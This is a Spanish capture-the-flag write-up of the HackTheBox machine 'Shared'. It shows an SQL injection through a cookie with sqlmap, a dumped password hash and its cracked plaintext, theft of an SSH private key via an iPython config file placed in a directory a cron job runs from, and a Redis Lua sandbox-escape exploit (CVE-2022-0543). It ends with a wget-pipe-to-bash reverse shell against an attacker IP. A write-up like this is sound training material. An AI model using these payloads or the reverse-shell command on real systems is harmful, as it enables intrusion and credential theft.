En Shared descubrimos una vulnerabilidad SQLi en la cookie del sitio web la cual nos permitió acceder a la Base de Datos y a credenciales que posteriormente nos dieron acceso por SSH. Accedimos a un segundo usuario tras la ejecución de un cronjob y un archivo de configuración de iPython. Tras analizar un ejecutable obtuvimos credenciales para Redis, que, finalmente explotamos ganando acceso como usuario privilegiado.
Nombre |
Shared |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.11.172 |
Maker |
Nauten |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[6, 5.8, 5.9, 4.1, 4.2],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[6, 7, 6, 4, 3],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
nmap
nmap
muestra multiples puertos abiertos: http (80), https (445) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
# Nmap 7.92 scan initiated Sat Jul 23 18:56:48 2022 as: nmap -p22,80,443 -sV -sC -oN nmap_scan 10.129.122.34
Nmap scan report for 10.129.122.34 (10.129.122.34)
Host is up (0.67s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://shared.htb
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://shared.htb
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0
| tls-alpn:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Not valid before: 2022-03-20T13:37:14
|_Not valid after: 2042-03-15T13:37:14
| tls-nextprotoneg:
| h2
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 23 18:57:29 2022 -- 1 IP address (1 host up) scanned in 41.47 seconds
|
Web Site
El sitio redirige al dominio shared.htb
, el cual agregamos al archivo /etc/hosts.
1
2
3
4
5
6
7
8
9
10
|
π ~/htb/shared ❯ curl -sI 10.129.122.34
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0
Date: Sat, 23 Jul 2022 22:58:34 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: http://shared.htb
π ~/htb/shared ❯
|
Al visitar el sitio observamos una tienda con distintos productos, se muestra que el sitio lo ha desarrollado PrestaShop.
Se explica que existe un nuevo proceso de pago.
Directory Brute Forcing
feroxbuster
muestra distintos directorios del sitio, observando los directorios de PrestaShop parece ser el mismo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
π ~/htb/shared ❯ feroxbuster -u https://shared.htb/ -k -x php -W 9 --depth 2
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ https://shared.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💢 Word Count Filter │ 9
💲 Extensions │ [php]
🔓 Insecure │ true
🔃 Recursion Depth │ 2
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
WLD 0l 0w 0c Got 302 for https://shared.htb/283854d4ea7441fa9c638969a392a5d4 (url length: 32)
WLD - - - https://shared.htb/283854d4ea7441fa9c638969a392a5d4 redirects to => https://shared.htb/index.php
301 7l 11w 169c https://shared.htb/js
301 7l 11w 169c https://shared.htb/bin
301 7l 11w 169c https://shared.htb/download
301 7l 11w 169c https://shared.htb/img
301 7l 11w 169c https://shared.htb/modules
301 7l 11w 169c https://shared.htb/cache
301 7l 11w 169c https://shared.htb/themes
301 7l 11w 169c https://shared.htb/js/admin
301 7l 11w 169c https://shared.htb/config
301 7l 11w 169c https://shared.htb/img/tmp
301 7l 11w 169c https://shared.htb/img/admin
301 7l 11w 169c https://shared.htb/docs
301 7l 11w 169c https://shared.htb/tools
301 7l 11w 169c https://shared.htb/app
301 7l 11w 169c https://shared.htb/var
301 7l 11w 169c https://shared.htb/img/t
301 7l 11w 169c https://shared.htb/img/p
301 7l 11w 169c https://shared.htb/controllers
301 7l 11w 169c https://shared.htb/webservice
301 7l 11w 169c https://shared.htb/themes/classic
301 7l 11w 169c https://shared.htb/modules/contactform
301 7l 11w 169c https://shared.htb/img/scenes
301 7l 11w 169c https://shared.htb/img/jquery-ui
301 7l 11w 169c https://shared.htb/modules/CustomCheckout
|
SQL Injection
El sitio menciona un nuevo proceso de pago, agregamos algunos productos al carrito.
Al realizar el pago el sitio nos redirige al subdominio checkout.shared.htb
, en donde se muestra la cantidad y codigo de producto.
Si observamos las cookies, se muestra custom_cart
con el codigo de producto y cantidad en una estructura JSON.
Al agregar un nuevo producto al carrito se actualiza la cookie.
Cookie
La cookie PrestaShop-*
unicamente funciona para el dominio, no es necesario en el subdominio por lo que la eliminamos e intentamos detectar algun error de inyección sql. No logramos generar algun error, sin embargo, al intentar validar una desigualdad en SQL observamos que de ser verdadera se muestra el producto, de lo contrario no.
SQLMap
Tomando en cuenta la cookie utilizamos SQLMap para enumerar las bases de datos. Agregamos un asterisco (*) en donde sqlmap va a realizar la inyección. Luego de varios minutos sqlmap detecto un time-based blind y Union query, mostrando las dos bases de datos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
π ~/htb/shared ❯ sqlmap https://checkout.shared.htb/ --cookie='custom_cart={"*":"$1"}' --batch --dbs --risk 3 --level 5 --dbms mysql
___
__H__
___ ___[)]_____ ___ ___ {1.6.4#stable}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:44:46 /2022-07-24/
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] Y
[20:44:46] [INFO] testing connection to the target URL
[20:44:47] [INFO] testing if the target URL content is stable
[20:44:47] [INFO] target URL content is stable
[20:44:47] [INFO] testing if (custom) HEADER parameter 'Cookie #1*' is dynamic
do you want to URL encode cookie values (implementation specific)? [Y/n] Y
[20:44:48] [INFO] (custom) HEADER parameter 'Cookie #1*' appears to be dynamic
[20:44:48] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Cookie #1*' might not be injectable
[.. snip ..]
[20:56:54] [INFO] (custom) HEADER parameter 'Cookie #1*' appears to be 'MySQL > 5.0.12 AND time-based blind (heavy query)' injectable
[20:56:54] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:56:54] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:57:00] [INFO] target URL appears to be UNION injectable with 3 columns
[20:57:01] [INFO] (custom) HEADER parameter 'Cookie #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 2898 HTTP(s) requests:
---
Parameter: Cookie #1* ((custom) HEADER)
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: custom_cart={"' AND 2387=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)-- hyVU":"$1"}
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: custom_cart={"' UNION ALL SELECT NULL,CONCAT(0x71626b7171,0x50434b63487576696b5a4866516a676d74764e4e6651614d4e7352614a79797a787562517a495042,0x716a717671),NULL-- -":"$1"}
---
[20:57:01] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0
back-end DBMS: MySQL > 5.0.12 (MariaDB fork)
[20:57:01] [INFO] fetching database names
available databases [2]:
[*] checkout
[*] information_schema
[20:57:01] [INFO] fetched data logged to text files under '/home/sckull/.local/share/sqlmap/output/checkout.shared.htb'
[*] ending @ 20:57:01 /2022-07-24/
|
Encontramos dos tablas, una de productos y una de usuarios, en la tabla user observamos las credenciales de un usuario.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
Database: checkout
[2 tables]
+---------+
| user |
| product |
+---------+
Database: checkout
Table: product
[19 entries]
+----+----------+-------+
| id | code | price |
+----+----------+-------+
| 1 | 53GG2EF8 | 23.90 |
| 2 | YCS98E4A | 35.90 |
| 3 | CRAAFTKP | 29.00 |
| 4 | MFDSVHXQ | 29.00 |
| 5 | SS5UMYLB | 29.00 |
| 6 | 7DA8SKYP | 11.90 |
| 7 | 2E6E8GXJ | 11.90 |
| 8 | 562XZDU8 | 11.90 |
| 9 | DW64K6JF | 18.90 |
| 10 | B4GTLMT3 | 18.90 |
| 11 | B4ATAMB4 | 18.90 |
| 12 | 4HAR4XDK | 9.00 |
| 13 | UE593T4N | 9.00 |
| 14 | WH82F998 | 9.00 |
| 15 | PPZV67J5 | 35.00 |
| 16 | BTAPXNX4 | 12.90 |
| 17 | 5P6UG55R | 12.90 |
| 18 | 77W6QWLX | 12.90 |
| 19 | 8LPULR6Q | 13.90 |
+----+----------+-------+
Database: checkout
Table: user
[1 entry]
+----+----------------------------------+-------------+
| id | password | username |
+----+----------------------------------+-------------+
| 1 | fc895d4eddc2fc12f995e18c865cf273 | james_mason |
+----+----------------------------------+-------------+
database management system users privileges:
[*] 'checkout'@'localhost' [1]:
privilege: USAGE
|
crackstation.net nos permitió obtener la contraseña en texto plano.
1
|
fc895d4eddc2fc12f995e18c865cf273:Soleil101
|
James Mason - User
Logramos ingresar por SSH utilizando las credenciales.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
π ~/htb/shared ❯ ssh james_mason@shared.htb # Soleil101
james_mason@shared.htb's password:
Linux shared 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 14 14:45:22 2022 from 10.10.14.4
james_mason@shared:~$ whoami;id;pwd
james_mason
uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1001(developer)
/home/james_mason
james_mason@shared:~$
|
Observamos que james es miembro del grupo developer, tras buscar archivos y directorios pertenecientes a este grupo observamos la carpeta /opt/scripts_review
.
1
2
3
4
5
6
7
8
|
james_mason@shared:~$ find / -group developer 2>/dev/null
/opt/scripts_review
james_mason@shared:~$ cd /opt/scripts_review
james_mason@shared:/opt/scripts_review$ ls -lah
total 8.0K
drwxrwx--- 2 root developer 4.0K Jul 14 13:46 .
drwxr-xr-x 3 root root 4.0K Jul 14 13:46 ..
james_mason@shared:/opt/scripts_review$
|
Tras ejecutar pspy
observamos un cronjob que ejecuta /usr/local/bin/ipython
en la carpeta /opt/scripts_review/
.
1
2
3
4
5
6
7
8
|
2022/07/25 00:47:01 CMD: UID=0 PID=44250 | /usr/sbin/CRON -f
2022/07/25 00:47:01 CMD: UID=0 PID=44252 | /bin/sh -c /root/c.sh
2022/07/25 00:47:01 CMD: UID=0 PID=44254 | /bin/bash /root/c.sh
2022/07/25 00:47:01 CMD: UID=0 PID=44253 | /bin/bash /root/c.sh
2022/07/25 00:47:01 CMD: UID=1001 PID=44255 | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
2022/07/25 00:47:01 CMD: UID=1001 PID=44256 | /usr/bin/pkill ipython
2022/07/25 00:47:01 CMD: UID=1001 PID=44257 | /usr/bin/python3 /usr/local/bin/ipython
2022/07/25 00:47:06 CMD: UID=0 PID=44259 | rm -rf /opt/scripts_review/*
|
El usuario que ejecuta este cronjob es dan_smith.
1
2
3
|
james_mason@shared:~$ cat /etc/passwd|grep 1001
dan_smith:x:1001:1002::/home/dan_smith:/bin/bash
james_mason@shared:~$
|
Si observamos el contenido del script unicamente muestra la ejecución de IPython.
1
2
3
4
5
6
7
8
9
10
11
12
|
james_mason@shared:/opt/scripts_review$ file /usr/local/bin/ipython
/usr/local/bin/ipython: Python script, ASCII text executable
james_mason@shared:/opt/scripts_review$ cat /usr/local/bin/ipython
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from IPython import start_ipython
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(start_ipython())
james_mason@shared:/opt/scripts_review$
|
Descubrimos que en la carpeta principal de dan_smith existe el directorio .ipython con el perfil por defecto.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
james_mason@shared:/home/dan_smith$ ls -lah
total 32K
drwxr-xr-x 4 dan_smith dan_smith 4.0K Jul 14 13:47 .
drwxr-xr-x 4 root root 4.0K Jul 14 13:46 ..
lrwxrwxrwx 1 root root 9 Mar 20 09:42 .bash_history -> /dev/null
-rw-r--r-- 1 dan_smith dan_smith 220 Aug 4 2021 .bash_logout
-rw-r--r-- 1 dan_smith dan_smith 3.5K Aug 4 2021 .bashrc
drwxr-xr-x 3 dan_smith dan_smith 4.0K Jul 14 13:47 .ipython
-rw-r--r-- 1 dan_smith dan_smith 807 Aug 4 2021 .profile
drwx------ 2 dan_smith dan_smith 4.0K Jul 14 13:47 .ssh
-rw-r----- 1 dan_smith dan_smith 33 Jul 24 18:15 user.txt
james_mason@shared:/home/dan_smith$ ls -lah .ipython/
total 12K
drwxr-xr-x 3 dan_smith dan_smith 4.0K Jul 14 13:47 .
drwxr-xr-x 4 dan_smith dan_smith 4.0K Jul 14 13:47 ..
drwxr-xr-x 7 dan_smith dan_smith 4.0K Jul 25 20:15 profile_default
james_mason@shared:/home/dan_smith$ ls -lah .ipython/profile_default/
total 168K
drwxr-xr-x 7 dan_smith dan_smith 4.0K Jul 25 20:15 .
drwxr-xr-x 3 dan_smith dan_smith 4.0K Jul 14 13:47 ..
drwxr-xr-x 2 dan_smith dan_smith 4.0K Jul 14 13:47 db
-rw-r--r-- 1 dan_smith dan_smith 136K Jul 25 20:15 history.sqlite
drwxr-xr-x 2 dan_smith dan_smith 4.0K Jul 14 13:47 log
drwx------ 2 dan_smith dan_smith 4.0K Jul 14 13:47 pid
drwx------ 2 dan_smith dan_smith 4.0K Jul 14 13:47 security
drwxr-xr-x 2 dan_smith dan_smith 4.0K Jul 14 13:47 startup
james_mason@shared:/home/dan_smith$
|
Dan Smith - User
La documentación habla sobre perfiles en ipython, se localizan en ~/.ipython/profile_default/
con el nombre ipython_config.py
, menciona que permite ejecutar codigo python.
Sabiendo esto, creamos el archivo ipython_config.py
en el directorio /opt/scripts_review
para ejecutar cat
a la clave privada SSH de dan_smith redireccionando el contenido a un nuevo archivo en /tmp
.
1
|
echo "import os; os.system('cat /home/dan_*/.ssh/id_rsa > /tmp/id');" > ipython_config.py
|
Tras varios segundos el cronjob se ejecuta y el archivo es creado. Movimos el archivo al directorio /dev/shm.
1
2
3
4
5
|
james_mason@shared:/opt/scripts_review$ ls /tmp
id systemd-private-e34726f6e5784c1b97ef2b9059bf65a4-systemd-logind.service-yHCmch vmware-root_422-591958401
systemd-private-e34726f6e5784c1b97ef2b9059bf65a4-redis-server.service-l8BJZf systemd-private-e34726f6e5784c1b97ef2b9059bf65a4-systemd-timesyncd.service-6Htrqh
james_mason@shared:/opt/scripts_review$ mv /tmp/id /dev/shm/abc
james_mason@shared:/opt/scripts_review$
|
Utilizamos la clave privada por SSH logrando obtener una shell como dan_smith y la flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
james_mason@shared:/dev/shm$ ls -lah
total 1.2M
drwxrwxrwt 2 root root 80 Jul 25 20:17 .
drwxr-xr-x 17 root root 3.1K Jul 24 18:14 ..
-rw-r--r-- 1 james_mason james_mason 2.6K Jul 25 20:17 abc
-rwxr-xr-x 1 james_mason james_mason 1.2M Dec 6 2021 ps
james_mason@shared:/dev/shm$ chmod 600 abc
james_mason@shared:/dev/shm$ ls /home
dan_smith james_mason
james_mason@shared:/dev/shm$ ssh dan_smith@localhost -i abc
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:mjIWp2Ggy1NHLY33FSfsXXVTUxbD+W30zEbd7BvHopg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Linux shared 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 14 14:43:34 2022 from 10.10.14.4
dan_smith@shared:~$ whoami;id; pwd
dan_smith
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
/home/dan_smith
dan_smith@shared:~$ ls
user.txt
dan_smith@shared:~$ cat user.txt
a1c12d8187aa8c674987dc53372be5ad
dan_smith@shared:~$
|
Privesc
El usuario dan_smith pertenece al grupo sysadmin, el ejecutable redis_connector_dev
pertenece a este grupo.
1
2
3
4
5
6
7
|
dan_smith@shared:~$ id
uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
dan_smith@shared:~$ find / -group sysadmin 2>/dev/null
/usr/local/bin/redis_connector_dev
dan_smith@shared:~$ ls -lah /usr/local/bin/redis_connector_dev
-rwxr-x--- 1 root sysadmin 5.7M Mar 20 09:41 /usr/local/bin/redis_connector_dev
dan_smith@shared:~$
|
Tras ejecutar el archivo observamos que muestra un mensaje indicando el login con una contraseña y luego muestra información de redis y el sistema.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
dan_smith@shared:~$ /usr/local/bin/redis_connector_dev
[+] Logging to redis instance using password...
INFO command result:
# Server
redis_version:6.0.15
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:4610f4c3acf7fb25
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:1497
run_id:c845d00abecca7cae7c31d150cceb1cdbd97ff7d
tcp_port:6379
uptime_in_seconds:16
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:14979975
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
io_threads_active:0
<nil>
dan_smith@shared:~$
|
Realizamos una copia de este archivo al directorio /dev/shm.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
dan_smith@shared:~$ cp /usr/local/bin/redis_connector_dev /dev/shm
dan_smith@shared:~$ cd /dev/shm
dan_smith@shared:/dev/shm$ ls
abc ps redis_connector_dev
dan_smith@shared:/dev/shm$ chmod 777 redis_connector_dev
dan_smith@shared:/dev/shm$ ls -lah
total 6.9M
drwxrwxrwt 2 root root 100 Jul 25 20:23 .
drwxr-xr-x 17 root root 3.1K Jul 24 18:14 ..
-rw------- 1 james_mason james_mason 2.6K Jul 25 20:17 abc
-rwxr-xr-x 1 james_mason james_mason 1.2M Dec 6 2021 ps
-rwxrwxrwx 1 dan_smith dan_smith 5.7M Jul 25 20:23 redis_connector_dev
dan_smith@shared:/dev/shm$
|
Para luego realizar una copia utilizando scp.
1
2
3
4
5
6
|
π ~/htb/shared ❯ scp james_mason@shared.htb:/dev/shm/redis_connector_dev . # Soleil101
james_mason@shared.htb's password:
redis_connector_dev 100% 5834KB 162.9KB/s 00:35
π ~/htb/shared ❯ ls -lah redis_connector_dev
-rwxr-xr-x 1 sckull sckull 5.7M jul 25 18:25 redis_connector_dev
π ~/htb/shared ❯
|
Ghidra
Utilizamos ghidra para analizar el archivo, observamos en la función main que utiliza redis, además, realiza y crea una nueva conexión utilizando los valores: localhost:6379 y F2WHqJUz2WEz=Gqq
, casi de la misma forma como se muestra en el ejemplo.
Wireshark
Al ejecutar el fichero localmente observamos que la conexion al puerto 6379 fue “denegada”.
1
2
3
4
5
6
|
π ~/htb/shared ❯ ./redis_connector_dev
[+] Logging to redis instance using password...
INFO command result:
dial tcp [::1]:6379: connect: connection refused
π ~/htb/shared ❯
|
En Wireshark filtramos el puerto 6379 y ejecutamos un servidor redis localmente. Tras ejecutar redis_connector_dev
observamos una nueva conexión al puerto 6379 intentando realizar una autenticación con el servidor redis pasando la contraseña en texto plano.
Redis - CVE-2022-0543
Si realizamos la conexion en la máquina logramos ingresar, sin embargo no encontramos credenciales o información importante.
1
2
3
4
5
|
dan_smith@shared:~$ redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq'
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
127.0.0.1:6379> keys *
(empty array)
127.0.0.1:6379>
|
HackTricks presenta distintas formas de enumerar y explotar redis, una de ellas es LUA Sandbox Bypass donde menciona un CVE con un exploit reciente.
Si observamos la explotación, carga la librería lua liblua5.1.so.0 y utiliza codigo lua para ejecutar comandos, finalmente utiliza el comando EVAL de redis con el codigo lua.
1
2
3
4
5
6
7
8
9
|
[.. snip ..]
def shell(ip,port,cmd):
lua= 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("'+cmd+'", "r"); local res = f:read("*a"); f:close(); return res'
r = redis.Redis(host = ip,port = port)
script = r.eval(lua,0)
print(script)
[.. snip ..]
|
El exploit no realiza autenticación con el servidor, agregamos la contraseña de redis al script.
1
|
r = redis.Redis(host = ip,port = port, password = "F2WHqJUz2WEz=Gqq")
|
Obtuvimos el puerto 6379 localmente utilizando SSH, ejecutamos el exploit, logrando asi ejecutar comandos como usuario root.
Finalmente realizamos la lectura de la flag root.txt
.
1
2
3
4
5
|
input exec cmd:(q->exit)
>>cat /root/root.txt
b'f97e83b9cf276d96bea13e76b9131bd9\n'
input exec cmd:(q->exit)
>>
|
Shell
Para obtener una shell ejecutamos shells, y, una shell inversa con el exploit.
1
|
>>wget -qO- 10.10.14.207:9090/10.10.14.207:1335 | bash
|
Con ello logramos obtener una shell como usuario root.
1
2
3
4
5
6
7
8
9
10
11
|
π ~/htb/shared ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.207] from shared.htb [10.10.11.172] 38422
/bin/sh: 0: can't access tty; job control turned off
# python3 -c 'import pty; pty.spawn("/bin/bash");'
root@shared:/var/lib/redis# cd /root
root@shared:~# ls
c.sh root.txt
root@shared:~# cat root.txt
f97e83b9cf276d96bea13e76b9131bd9
root@shared:~#
|